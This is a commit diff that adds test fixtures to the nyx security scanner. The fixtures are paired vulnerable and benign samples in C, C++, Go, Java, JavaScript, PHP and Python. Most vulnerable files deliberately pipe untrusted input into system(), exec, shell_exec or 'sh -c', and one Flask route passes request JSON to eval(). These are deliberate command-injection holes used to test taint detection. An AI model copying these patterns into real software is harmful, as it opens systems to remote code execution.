mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-30 20:39:39 +02:00
Dynamic (#77)
This commit is contained in:
parent
55247b7fcd
commit
991c84a1eb
1464 changed files with 225448 additions and 1985 deletions
11
tests/dynamic_fixtures/c/free_fn/benign.c
Normal file
11
tests/dynamic_fixtures/c/free_fn/benign.c
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
/* Phase 16 — free function with (const char *, size_t), benign. */
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void run(const char *payload, size_t len) {
|
||||
(void)payload; (void)len;
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
fflush(stdout);
|
||||
system("echo hello");
|
||||
}
|
||||
24
tests/dynamic_fixtures/c/free_fn/setup_fault.c
Normal file
24
tests/dynamic_fixtures/c/free_fn/setup_fault.c
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
/* Phase 08 (b) acceptance fixture — crash outside the sink.
|
||||
*
|
||||
* Cap: FMT_STRING. A global constructor (`__attribute__((constructor))`)
|
||||
* runs before `main`, so the abort fires BEFORE the harness reaches
|
||||
* `__nyx_install_crash_guard`. No Crash probe is written, the
|
||||
* `Oracle::SinkCrash` predicate sees `process_crashed &&
|
||||
* !has_sink_crash_probe`, and the verifier routes to
|
||||
* `Inconclusive(UnrelatedCrash)` instead of `Confirmed`.
|
||||
*
|
||||
* The `run` body is unreachable but must compile so the entry symbol
|
||||
* resolves at link time. */
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
__attribute__((constructor)) static void nyx_fixture_crash_in_setup(void) {
|
||||
abort();
|
||||
}
|
||||
|
||||
void run(const char *payload, size_t len) {
|
||||
(void)payload;
|
||||
(void)len;
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
}
|
||||
25
tests/dynamic_fixtures/c/free_fn/sink_fault.c
Normal file
25
tests/dynamic_fixtures/c/free_fn/sink_fault.c
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
/* Phase 08 (a) acceptance fixture — crash at the sink.
|
||||
*
|
||||
* Cap: FMT_STRING. Prints the `__NYX_SINK_HIT__` sentinel so the runner
|
||||
* sees the in-harness sink-hit, then NULL-dereferences when handed the
|
||||
* vuln payload. The harness's `__nyx_install_crash_guard` was installed
|
||||
* earlier in `main`, so SIGSEGV writes a Crash probe to `NYX_PROBE_PATH`,
|
||||
* which lifts the `Oracle::SinkCrash` predicate to `Confirmed`.
|
||||
*
|
||||
* Differential confirmation: the paired benign payload carries the
|
||||
* `NYX_BENIGN` marker. The short-circuit below returns cleanly on the
|
||||
* benign run so `benign_fired = false`, satisfying the §4.1 rule. */
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void run(const char *payload, size_t len) {
|
||||
(void)len;
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
fflush(stdout);
|
||||
if (payload && strstr(payload, "NYX_BENIGN")) {
|
||||
return;
|
||||
}
|
||||
volatile char *p = NULL;
|
||||
*p = 1;
|
||||
}
|
||||
17
tests/dynamic_fixtures/c/free_fn/vuln.c
Normal file
17
tests/dynamic_fixtures/c/free_fn/vuln.c
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
/* Phase 16 — free function with (const char *, size_t), vulnerable.
|
||||
*
|
||||
* Cap: CODE_EXEC. Concatenates payload into a shell command.
|
||||
*/
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
void run(const char *payload, size_t len) {
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
fflush(stdout);
|
||||
if (!payload || len > 2048) return;
|
||||
char cmd[4096];
|
||||
snprintf(cmd, sizeof(cmd), "echo hello %s", payload);
|
||||
system(cmd);
|
||||
}
|
||||
13
tests/dynamic_fixtures/c/libfuzzer/benign.c
Normal file
13
tests/dynamic_fixtures/c/libfuzzer/benign.c
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
/* Phase 16 — libFuzzer entry, benign. */
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
|
||||
(void)data; (void)size;
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
fflush(stdout);
|
||||
system("echo hello");
|
||||
return 0;
|
||||
}
|
||||
20
tests/dynamic_fixtures/c/libfuzzer/vuln.c
Normal file
20
tests/dynamic_fixtures/c/libfuzzer/vuln.c
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
/* Phase 16 — libFuzzer entry, vulnerable.
|
||||
*
|
||||
* Real libFuzzer entry: `int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)`.
|
||||
* Cap: CODE_EXEC.
|
||||
*/
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
fflush(stdout);
|
||||
if (size == 0 || size > 2048) return 0;
|
||||
char cmd[4096];
|
||||
snprintf(cmd, sizeof(cmd), "echo hello %.*s", (int)size, (const char*)data);
|
||||
system(cmd);
|
||||
return 0;
|
||||
}
|
||||
15
tests/dynamic_fixtures/c/main_argv/benign.c
Normal file
15
tests/dynamic_fixtures/c/main_argv/benign.c
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
/* Phase 16 — main(argc, argv), benign.
|
||||
*
|
||||
* Shape marker: int main(int argc, char *argv[])
|
||||
* Echoes a fixed greeting; argv is ignored.
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int nyx_entry_main(int argc, char *argv[]) {
|
||||
(void)argc; (void)argv;
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
fflush(stdout);
|
||||
system("echo hello");
|
||||
return 0;
|
||||
}
|
||||
25
tests/dynamic_fixtures/c/main_argv/vuln.c
Normal file
25
tests/dynamic_fixtures/c/main_argv/vuln.c
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
/* Phase 16 — main(argc, argv), vulnerable.
|
||||
*
|
||||
* Entry: nyx_entry_main(int argc, char *argv[])
|
||||
*
|
||||
* Renamed away from `main` so the harness `main` symbol does not collide
|
||||
* when the entry source is `#include`d. The harness emitter recognises the
|
||||
* shape via the `int main(int argc, char *argv[])` substring in the
|
||||
* comment header below, then calls `nyx_entry_main` with payload-bearing
|
||||
* argv. Cap: CODE_EXEC.
|
||||
*
|
||||
* Shape marker: int main(int argc, char *argv[])
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int nyx_entry_main(int argc, char *argv[]) {
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
fflush(stdout);
|
||||
if (argc < 2) return 0;
|
||||
char cmd[4096];
|
||||
snprintf(cmd, sizeof(cmd), "echo hello %s", argv[argc - 1]);
|
||||
system(cmd);
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
// Phase 04 fixture: Express route handler is a named function bound at
|
||||
// `app.post`; it calls a helper that holds the sink. The callgraph-aware
|
||||
// spec-derivation path must rewrite the harness entry to the route
|
||||
// handler `runCommand`, not the helper `execHelper`.
|
||||
//
|
||||
// `runCommand` reads `req.body.cmd` into a local before dispatching to
|
||||
// `execHelper`. Threading the local through gives the JS callee
|
||||
// extractor a clean call shape (bare identifier in argument position)
|
||||
// so the call-graph picks up the `runCommand → execHelper` edge.
|
||||
|
||||
const express = require("express");
|
||||
const { exec } = require("child_process");
|
||||
|
||||
const app = express();
|
||||
|
||||
function execHelper(cmd) {
|
||||
exec(cmd); // sink: command injection
|
||||
}
|
||||
|
||||
function runCommand(req, res) {
|
||||
const cmd = req.body.cmd;
|
||||
execHelper(cmd);
|
||||
res.send("ok");
|
||||
}
|
||||
|
||||
app.post("/run", runCommand);
|
||||
|
||||
module.exports = app;
|
||||
21
tests/dynamic_fixtures/callgraph_entry/flask_route_sink.py
Normal file
21
tests/dynamic_fixtures/callgraph_entry/flask_route_sink.py
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
# Phase 04 fixture: sink in a helper function called only from a Flask
|
||||
# route handler. The callgraph-aware spec-derivation path must rewrite
|
||||
# the harness entry to the route handler `run_command` (entry-point
|
||||
# ancestor with `entry_kind = FlaskRoute`), not the helper `_execute`
|
||||
# where the sink physically lives.
|
||||
|
||||
from flask import Flask, request
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
|
||||
def _execute(cmd):
|
||||
import os
|
||||
os.system(cmd) # sink: command injection
|
||||
|
||||
|
||||
@app.route("/run", methods=["POST"])
|
||||
def run_command():
|
||||
cmd = request.form.get("cmd", "")
|
||||
_execute(cmd)
|
||||
return "ok"
|
||||
13
tests/dynamic_fixtures/callgraph_entry/orphan_helper_sink.py
Normal file
13
tests/dynamic_fixtures/callgraph_entry/orphan_helper_sink.py
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
# Phase 04 follow-up regression fixture: the sink lives in a class method
|
||||
# that has no callers in the whole-program callgraph. The reverse-edge BFS
|
||||
# in `find_entry_via_callgraph` must miss (helper is inside a class, so
|
||||
# `is_entry_point`'s zero-in-degree heuristic does not apply), and the
|
||||
# strict `derive_from_callgraph_walk_only` pre-step must defer to the
|
||||
# strategy ladder so the substring `.http.` rule-id fallback does NOT
|
||||
# short-circuit the more precise `FromFlowSteps` strategy.
|
||||
|
||||
|
||||
class Stuff:
|
||||
def helper(self, arg):
|
||||
import os
|
||||
os.system(arg) # sink: command injection
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
// Phase 04 fixture: Spring controller method calls a helper that holds
|
||||
// the sink. The callgraph-aware spec-derivation path must rewrite the
|
||||
// harness entry to the controller method `runCommand`, not the helper
|
||||
// `execHelper`.
|
||||
|
||||
package fixture;
|
||||
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
@RestController
|
||||
public class SinkController {
|
||||
private void execHelper(String cmd) throws Exception {
|
||||
Runtime.getRuntime().exec(cmd); // sink: command injection
|
||||
}
|
||||
|
||||
@PostMapping("/run")
|
||||
public String runCommand(@RequestBody String cmd) throws Exception {
|
||||
execHelper(cmd);
|
||||
return "ok";
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
"""End-to-end chain composer fixture.
|
||||
|
||||
A single-file Flask app where an unauthenticated POST handler reads
|
||||
`cmd` straight off the request body and passes it to `eval()`. The
|
||||
ingredients line up for the chain composer:
|
||||
|
||||
- SurfaceMap gains one `EntryPoint` (Flask `/run` POST, `auth_required: false`).
|
||||
- SurfaceMap gains one `DangerousLocal` (the route function itself
|
||||
consumes `Cap::CODE_EXEC` via the `eval` call site).
|
||||
- A `taint-unsanitised-flow` finding ties `flask.request.json` to `eval`.
|
||||
|
||||
`nyx scan --format json` against this directory should emit at least one
|
||||
entry in the top-level `chains` array. The chain's `implied_impact` is
|
||||
`rce` (CODE_EXEC lattice fall-through) and its `severity` reaches
|
||||
`critical` via the score path.
|
||||
"""
|
||||
|
||||
import flask
|
||||
|
||||
app = flask.Flask(__name__)
|
||||
|
||||
|
||||
@app.route("/run", methods=["POST"])
|
||||
def run():
|
||||
cmd = flask.request.json.get("cmd")
|
||||
return {"out": eval(cmd)}
|
||||
16
tests/dynamic_fixtures/class_method/c/benign.c
Normal file
16
tests/dynamic_fixtures/class_method/c/benign.c
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
/* Phase 19 (Track M.1) — class-method benign control for C. */
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void UserService_run(const char *input, size_t len) {
|
||||
(void)len;
|
||||
/* Uses execve via fork; the shell never sees or echoes `input`. */
|
||||
pid_t pid = fork();
|
||||
if (pid == 0) {
|
||||
char *argv[] = { (char*)"/usr/bin/true", (char*)(input ? input : ""), NULL };
|
||||
execv("/usr/bin/true", argv);
|
||||
_exit(127);
|
||||
}
|
||||
}
|
||||
16
tests/dynamic_fixtures/class_method/c/vuln.c
Normal file
16
tests/dynamic_fixtures/class_method/c/vuln.c
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
/* Phase 19 (Track M.1) — class-method vuln fixture for C.
|
||||
*
|
||||
* C has no class system; the harness calls a free function whose name
|
||||
* follows the `<Class>_<method>` convention (`UserService_run`). The
|
||||
* function piping `input` straight into `system(3)` is the SINK. */
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void UserService_run(const char *input, size_t len) {
|
||||
(void)len;
|
||||
char buf[512];
|
||||
snprintf(buf, sizeof(buf), "true %s", input ? input : "");
|
||||
/* SINK: tainted input → system(3) */
|
||||
system(buf);
|
||||
}
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
/* Benign control for the recursive C receiver fixture. */
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef struct ShellRunner {
|
||||
int enabled;
|
||||
} ShellRunner;
|
||||
|
||||
typedef struct CommandRunner {
|
||||
ShellRunner *shell;
|
||||
} CommandRunner;
|
||||
|
||||
typedef struct UserService {
|
||||
CommandRunner *runner;
|
||||
} UserService;
|
||||
|
||||
void UserService_run(UserService *self, const char *input, size_t len) {
|
||||
(void)input;
|
||||
(void)len;
|
||||
if (!self || !self->runner || !self->runner->shell) {
|
||||
return;
|
||||
}
|
||||
system("true");
|
||||
}
|
||||
26
tests/dynamic_fixtures/class_method/c_recursive_deps/vuln.c
Normal file
26
tests/dynamic_fixtures/class_method/c_recursive_deps/vuln.c
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
/* ClassMethod C fixture with a receiver pointer and recursive struct deps. */
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef struct ShellRunner {
|
||||
int enabled;
|
||||
} ShellRunner;
|
||||
|
||||
typedef struct CommandRunner {
|
||||
ShellRunner *shell;
|
||||
} CommandRunner;
|
||||
|
||||
typedef struct UserService {
|
||||
CommandRunner *runner;
|
||||
} UserService;
|
||||
|
||||
void UserService_run(UserService *self, const char *input, size_t len) {
|
||||
(void)len;
|
||||
if (!self || !self->runner || !self->runner->shell) {
|
||||
return;
|
||||
}
|
||||
char buf[512];
|
||||
snprintf(buf, sizeof(buf), "true %s", input ? input : "");
|
||||
system(buf);
|
||||
}
|
||||
19
tests/dynamic_fixtures/class_method/cpp/benign.cpp
Normal file
19
tests/dynamic_fixtures/class_method/cpp/benign.cpp
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
// Phase 19 (Track M.1) — class-method benign control for C++.
|
||||
#include <unistd.h>
|
||||
#include <sys/wait.h>
|
||||
#include <string>
|
||||
|
||||
class UserService {
|
||||
public:
|
||||
UserService() = default;
|
||||
void run(const std::string& input) {
|
||||
pid_t pid = fork();
|
||||
if (pid == 0) {
|
||||
const char* argv[] = { "/usr/bin/true", input.c_str(), nullptr };
|
||||
execv("/usr/bin/true", const_cast<char* const*>(argv));
|
||||
_exit(127);
|
||||
}
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
}
|
||||
};
|
||||
17
tests/dynamic_fixtures/class_method/cpp/vuln.cpp
Normal file
17
tests/dynamic_fixtures/class_method/cpp/vuln.cpp
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
// Phase 19 (Track M.1) — class-method vuln fixture for C++.
|
||||
//
|
||||
// UserService::run pipes user input into `system(3)`. Default
|
||||
// constructor exists; the harness can build the receiver with
|
||||
// `UserService instance;`.
|
||||
#include <cstdlib>
|
||||
#include <string>
|
||||
|
||||
class UserService {
|
||||
public:
|
||||
UserService() = default;
|
||||
void run(const std::string& input) {
|
||||
std::string cmd = std::string("true ") + input;
|
||||
// SINK: tainted input → system(3)
|
||||
std::system(cmd.c_str());
|
||||
}
|
||||
};
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
// Benign control for recursive C++ class-method receiver construction.
|
||||
#include <string>
|
||||
|
||||
class ShellRunner {
|
||||
public:
|
||||
void exec(const std::string& _cmd) {}
|
||||
};
|
||||
|
||||
class CommandRunner {
|
||||
ShellRunner shell;
|
||||
|
||||
public:
|
||||
explicit CommandRunner(ShellRunner shell) : shell(shell) {}
|
||||
|
||||
void run(const std::string& input) {
|
||||
shell.exec(input);
|
||||
}
|
||||
};
|
||||
|
||||
class UserService {
|
||||
CommandRunner runner;
|
||||
|
||||
public:
|
||||
explicit UserService(CommandRunner runner) : runner(runner) {}
|
||||
|
||||
void run(const std::string& input) {
|
||||
runner.run(input);
|
||||
}
|
||||
};
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
// C++ class-method fixture whose receiver has same-file constructor
|
||||
// dependencies but no default constructor.
|
||||
#include <cstdlib>
|
||||
#include <string>
|
||||
|
||||
class ShellRunner {
|
||||
public:
|
||||
void exec(const std::string& cmd) {
|
||||
std::system(cmd.c_str());
|
||||
}
|
||||
};
|
||||
|
||||
class CommandRunner {
|
||||
ShellRunner shell;
|
||||
|
||||
public:
|
||||
explicit CommandRunner(ShellRunner shell) : shell(shell) {}
|
||||
|
||||
void run(const std::string& input) {
|
||||
shell.exec(std::string("true ") + input);
|
||||
}
|
||||
};
|
||||
|
||||
class UserService {
|
||||
CommandRunner runner;
|
||||
|
||||
public:
|
||||
explicit UserService(CommandRunner runner) : runner(runner) {}
|
||||
|
||||
void run(const std::string& input) {
|
||||
runner.run(input);
|
||||
}
|
||||
};
|
||||
11
tests/dynamic_fixtures/class_method/go/benign.go
Normal file
11
tests/dynamic_fixtures/class_method/go/benign.go
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
// Phase 19 (Track M.1) — class-method benign control for Go.
|
||||
package entry
|
||||
|
||||
import "os/exec"
|
||||
|
||||
type UserService struct{}
|
||||
|
||||
func (UserService) Run(input string) string {
|
||||
out, _ := exec.Command("true", input).Output()
|
||||
return string(out)
|
||||
}
|
||||
17
tests/dynamic_fixtures/class_method/go/vuln.go
Normal file
17
tests/dynamic_fixtures/class_method/go/vuln.go
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
// Phase 19 (Track M.1) — class-method vuln fixture for Go.
|
||||
//
|
||||
// UserService.Run accepts user input and passes it to `sh -c` so the
|
||||
// shell interprets it. The harness compiles in a generated
|
||||
// `nyx_auto_registry.go` that publishes `UserService{}` so reflection
|
||||
// works without a hand-rolled registry in the fixture.
|
||||
package entry
|
||||
|
||||
import "os/exec"
|
||||
|
||||
type UserService struct{}
|
||||
|
||||
func (UserService) Run(input string) string {
|
||||
// SINK: tainted input → shell -c
|
||||
out, _ := exec.Command("sh", "-c", "true "+input).Output()
|
||||
return string(out)
|
||||
}
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
// Benign control for recursively populated Go struct dependencies.
|
||||
package entry
|
||||
|
||||
import "strings"
|
||||
|
||||
type ShellRunner struct{}
|
||||
|
||||
func (ShellRunner) Run(command string) string {
|
||||
return strings.ReplaceAll(command, "NYX_PWN", "")
|
||||
}
|
||||
|
||||
type UserRepository struct {
|
||||
Runner *ShellRunner
|
||||
}
|
||||
|
||||
func (r UserRepository) Find(input string) string {
|
||||
if r.Runner == nil {
|
||||
return ""
|
||||
}
|
||||
return r.Runner.Run(input)
|
||||
}
|
||||
|
||||
type UserService struct {
|
||||
Repository *UserRepository
|
||||
}
|
||||
|
||||
func (s UserService) Run(input string) string {
|
||||
if s.Repository == nil {
|
||||
return ""
|
||||
}
|
||||
return s.Repository.Find(input)
|
||||
}
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
// Class-method fixture with recursively populated Go struct dependencies.
|
||||
package entry
|
||||
|
||||
import "os/exec"
|
||||
|
||||
type ShellRunner struct{}
|
||||
|
||||
func (ShellRunner) Run(command string) string {
|
||||
out, _ := exec.Command("sh", "-c", "true "+command).Output()
|
||||
return string(out)
|
||||
}
|
||||
|
||||
type UserRepository struct {
|
||||
Runner *ShellRunner
|
||||
}
|
||||
|
||||
func (r UserRepository) Find(input string) string {
|
||||
if r.Runner == nil {
|
||||
return ""
|
||||
}
|
||||
return r.Runner.Run(input)
|
||||
}
|
||||
|
||||
type UserService struct {
|
||||
Repository *UserRepository
|
||||
}
|
||||
|
||||
func (s UserService) Run(input string) string {
|
||||
if s.Repository == nil {
|
||||
return ""
|
||||
}
|
||||
return s.Repository.Find(input)
|
||||
}
|
||||
16
tests/dynamic_fixtures/class_method/java/Benign.java
Normal file
16
tests/dynamic_fixtures/class_method/java/Benign.java
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
// Phase 19 (Track M.1) — class-method benign control for Java.
|
||||
//
|
||||
// The payload is passed as an argv element to true(1), so no shell parses or
|
||||
// echoes marker bytes.
|
||||
public class Benign {
|
||||
public static class UserRepository {
|
||||
public UserRepository() {}
|
||||
|
||||
public void findByName(String name) throws Exception {
|
||||
Process p = new ProcessBuilder("/usr/bin/true", name)
|
||||
.redirectErrorStream(true)
|
||||
.start();
|
||||
p.waitFor();
|
||||
}
|
||||
}
|
||||
}
|
||||
22
tests/dynamic_fixtures/class_method/java/Vuln.java
Normal file
22
tests/dynamic_fixtures/class_method/java/Vuln.java
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
// Phase 19 (Track M.1) — class-method vuln fixture for Java.
|
||||
//
|
||||
// UserRepository.findByName concatenates user input into a shell command.
|
||||
// The nested class has a default constructor so the ClassMethod harness can
|
||||
// build the receiver reflectively.
|
||||
import java.io.InputStream;
|
||||
|
||||
public class Vuln {
|
||||
public static class UserRepository {
|
||||
public UserRepository() {}
|
||||
|
||||
public void findByName(String name) throws Exception {
|
||||
Process p = new ProcessBuilder("sh", "-c", "true " + name)
|
||||
.redirectErrorStream(true)
|
||||
.start();
|
||||
try (InputStream in = p.getInputStream()) {
|
||||
in.transferTo(System.out);
|
||||
}
|
||||
p.waitFor();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
// Benign control for recursively constructed Java dependencies.
|
||||
public class Benign {
|
||||
public static class ShellRunner {
|
||||
public String run(String command) {
|
||||
return command.replace("NYX_PWN", "");
|
||||
}
|
||||
}
|
||||
|
||||
public static class UserRepository {
|
||||
private final ShellRunner shellRunner;
|
||||
|
||||
public UserRepository(ShellRunner shellRunner) {
|
||||
this.shellRunner = shellRunner;
|
||||
}
|
||||
|
||||
public String find(String input) {
|
||||
return shellRunner.run(input);
|
||||
}
|
||||
}
|
||||
|
||||
public static class UserService {
|
||||
private final UserRepository userRepository;
|
||||
|
||||
public UserService(UserRepository userRepository) {
|
||||
this.userRepository = userRepository;
|
||||
}
|
||||
|
||||
public String run(String input) {
|
||||
return userRepository.find(input);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
// Class-method fixture with recursively constructed Java dependencies.
|
||||
import java.io.InputStream;
|
||||
|
||||
public class Vuln {
|
||||
public static class ShellRunner {
|
||||
public String run(String command) throws Exception {
|
||||
Process p = new ProcessBuilder("sh", "-c", "true " + command)
|
||||
.redirectErrorStream(true)
|
||||
.start();
|
||||
try (InputStream in = p.getInputStream()) {
|
||||
return new String(in.readAllBytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class UserRepository {
|
||||
private final ShellRunner shellRunner;
|
||||
|
||||
public UserRepository(ShellRunner shellRunner) {
|
||||
this.shellRunner = shellRunner;
|
||||
}
|
||||
|
||||
public String find(String input) throws Exception {
|
||||
return shellRunner.run(input);
|
||||
}
|
||||
}
|
||||
|
||||
public static class UserService {
|
||||
private final UserRepository userRepository;
|
||||
|
||||
public UserService(UserRepository userRepository) {
|
||||
this.userRepository = userRepository;
|
||||
}
|
||||
|
||||
public String run(String input) throws Exception {
|
||||
return userRepository.find(input);
|
||||
}
|
||||
}
|
||||
}
|
||||
15
tests/dynamic_fixtures/class_method/javascript/benign.js
Normal file
15
tests/dynamic_fixtures/class_method/javascript/benign.js
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
// Phase 19 (Track M.1) — class-method benign control for JavaScript.
|
||||
//
|
||||
// UserService.run routes the input through execFileSync with argv form so
|
||||
// the shell never interprets the string or echoes marker bytes.
|
||||
'use strict';
|
||||
const { execFileSync } = require('child_process');
|
||||
|
||||
class UserService {
|
||||
constructor() {}
|
||||
run(input) {
|
||||
return execFileSync('true', [input]).toString();
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { UserService };
|
||||
16
tests/dynamic_fixtures/class_method/javascript/vuln.js
Normal file
16
tests/dynamic_fixtures/class_method/javascript/vuln.js
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
// Phase 19 (Track M.1) — class-method vuln fixture for JavaScript.
|
||||
//
|
||||
// UserService.run forwards a tainted string straight into child_process.exec,
|
||||
// classic OS command injection. Default ctor — no stubbed deps needed.
|
||||
'use strict';
|
||||
const { execSync } = require('child_process');
|
||||
|
||||
class UserService {
|
||||
constructor() {}
|
||||
run(input) {
|
||||
// SINK: untrusted input → shell
|
||||
return execSync('true ' + input).toString();
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { UserService };
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
'use strict';
|
||||
|
||||
class ShellRunner {
|
||||
run(_command) {
|
||||
return 'safe';
|
||||
}
|
||||
}
|
||||
|
||||
class UserRepository {
|
||||
constructor(shellRunner) {
|
||||
this.shellRunner = shellRunner;
|
||||
}
|
||||
|
||||
find(input) {
|
||||
return this.shellRunner.run(input);
|
||||
}
|
||||
}
|
||||
|
||||
class UserService {
|
||||
constructor(userRepository) {
|
||||
this.userRepository = userRepository;
|
||||
}
|
||||
|
||||
run(input) {
|
||||
return this.userRepository.find(input);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { UserService, UserRepository, ShellRunner };
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
'use strict';
|
||||
const { execSync } = require('child_process');
|
||||
|
||||
class ShellRunner {
|
||||
run(command) {
|
||||
return execSync('true ' + command).toString();
|
||||
}
|
||||
}
|
||||
|
||||
class UserRepository {
|
||||
constructor(shellRunner) {
|
||||
this.shellRunner = shellRunner;
|
||||
}
|
||||
|
||||
find(input) {
|
||||
return this.shellRunner.run(input);
|
||||
}
|
||||
}
|
||||
|
||||
class UserService {
|
||||
constructor(userRepository) {
|
||||
this.userRepository = userRepository;
|
||||
}
|
||||
|
||||
run(input) {
|
||||
return this.userRepository.find(input);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { UserService, UserRepository, ShellRunner };
|
||||
10
tests/dynamic_fixtures/class_method/php/benign.php
Normal file
10
tests/dynamic_fixtures/class_method/php/benign.php
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
<?php
|
||||
// Phase 19 (Track M.1) — class-method benign control for PHP.
|
||||
|
||||
class UserService {
|
||||
public function __construct() {}
|
||||
|
||||
public function run($input) {
|
||||
return shell_exec('true ' . escapeshellarg($input));
|
||||
}
|
||||
}
|
||||
14
tests/dynamic_fixtures/class_method/php/vuln.php
Normal file
14
tests/dynamic_fixtures/class_method/php/vuln.php
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
<?php
|
||||
// Phase 19 (Track M.1) — class-method vuln fixture for PHP.
|
||||
//
|
||||
// UserService::run concatenates user input into a shell command;
|
||||
// default ctor, no stubbed deps needed.
|
||||
|
||||
class UserService {
|
||||
public function __construct() {}
|
||||
|
||||
public function run($input) {
|
||||
// SINK: tainted input → shell.
|
||||
return shell_exec('true ' . $input);
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
<?php
|
||||
// Benign control for recursive typed ClassMethod dependencies.
|
||||
|
||||
class Repository {
|
||||
private $dbConnection;
|
||||
|
||||
public function __construct($dbConnection) {
|
||||
$this->dbConnection = $dbConnection;
|
||||
}
|
||||
|
||||
public function run($payload) {
|
||||
return 'ok';
|
||||
}
|
||||
}
|
||||
|
||||
class Service {
|
||||
private Repository $repository;
|
||||
|
||||
public function __construct(Repository $repository) {
|
||||
$this->repository = $repository;
|
||||
}
|
||||
|
||||
public function run($payload) {
|
||||
return $this->repository->run($payload);
|
||||
}
|
||||
}
|
||||
|
||||
class UserController {
|
||||
private Service $service;
|
||||
|
||||
public function __construct(Service $service) {
|
||||
$this->service = $service;
|
||||
}
|
||||
|
||||
public function run($payload) {
|
||||
return $this->service->run($payload);
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
<?php
|
||||
// Class-method fixture with recursively constructed typed dependencies.
|
||||
|
||||
class Repository {
|
||||
private $dbConnection;
|
||||
|
||||
public function __construct($dbConnection) {
|
||||
$this->dbConnection = $dbConnection;
|
||||
}
|
||||
|
||||
public function run($payload) {
|
||||
return shell_exec('true ' . $payload);
|
||||
}
|
||||
}
|
||||
|
||||
class Service {
|
||||
private Repository $repository;
|
||||
|
||||
public function __construct(Repository $repository) {
|
||||
$this->repository = $repository;
|
||||
}
|
||||
|
||||
public function run($payload) {
|
||||
return $this->repository->run($payload);
|
||||
}
|
||||
}
|
||||
|
||||
class UserController {
|
||||
private Service $service;
|
||||
|
||||
public function __construct(Service $service) {
|
||||
$this->service = $service;
|
||||
}
|
||||
|
||||
public function run($payload) {
|
||||
return $this->service->run($payload);
|
||||
}
|
||||
}
|
||||
20
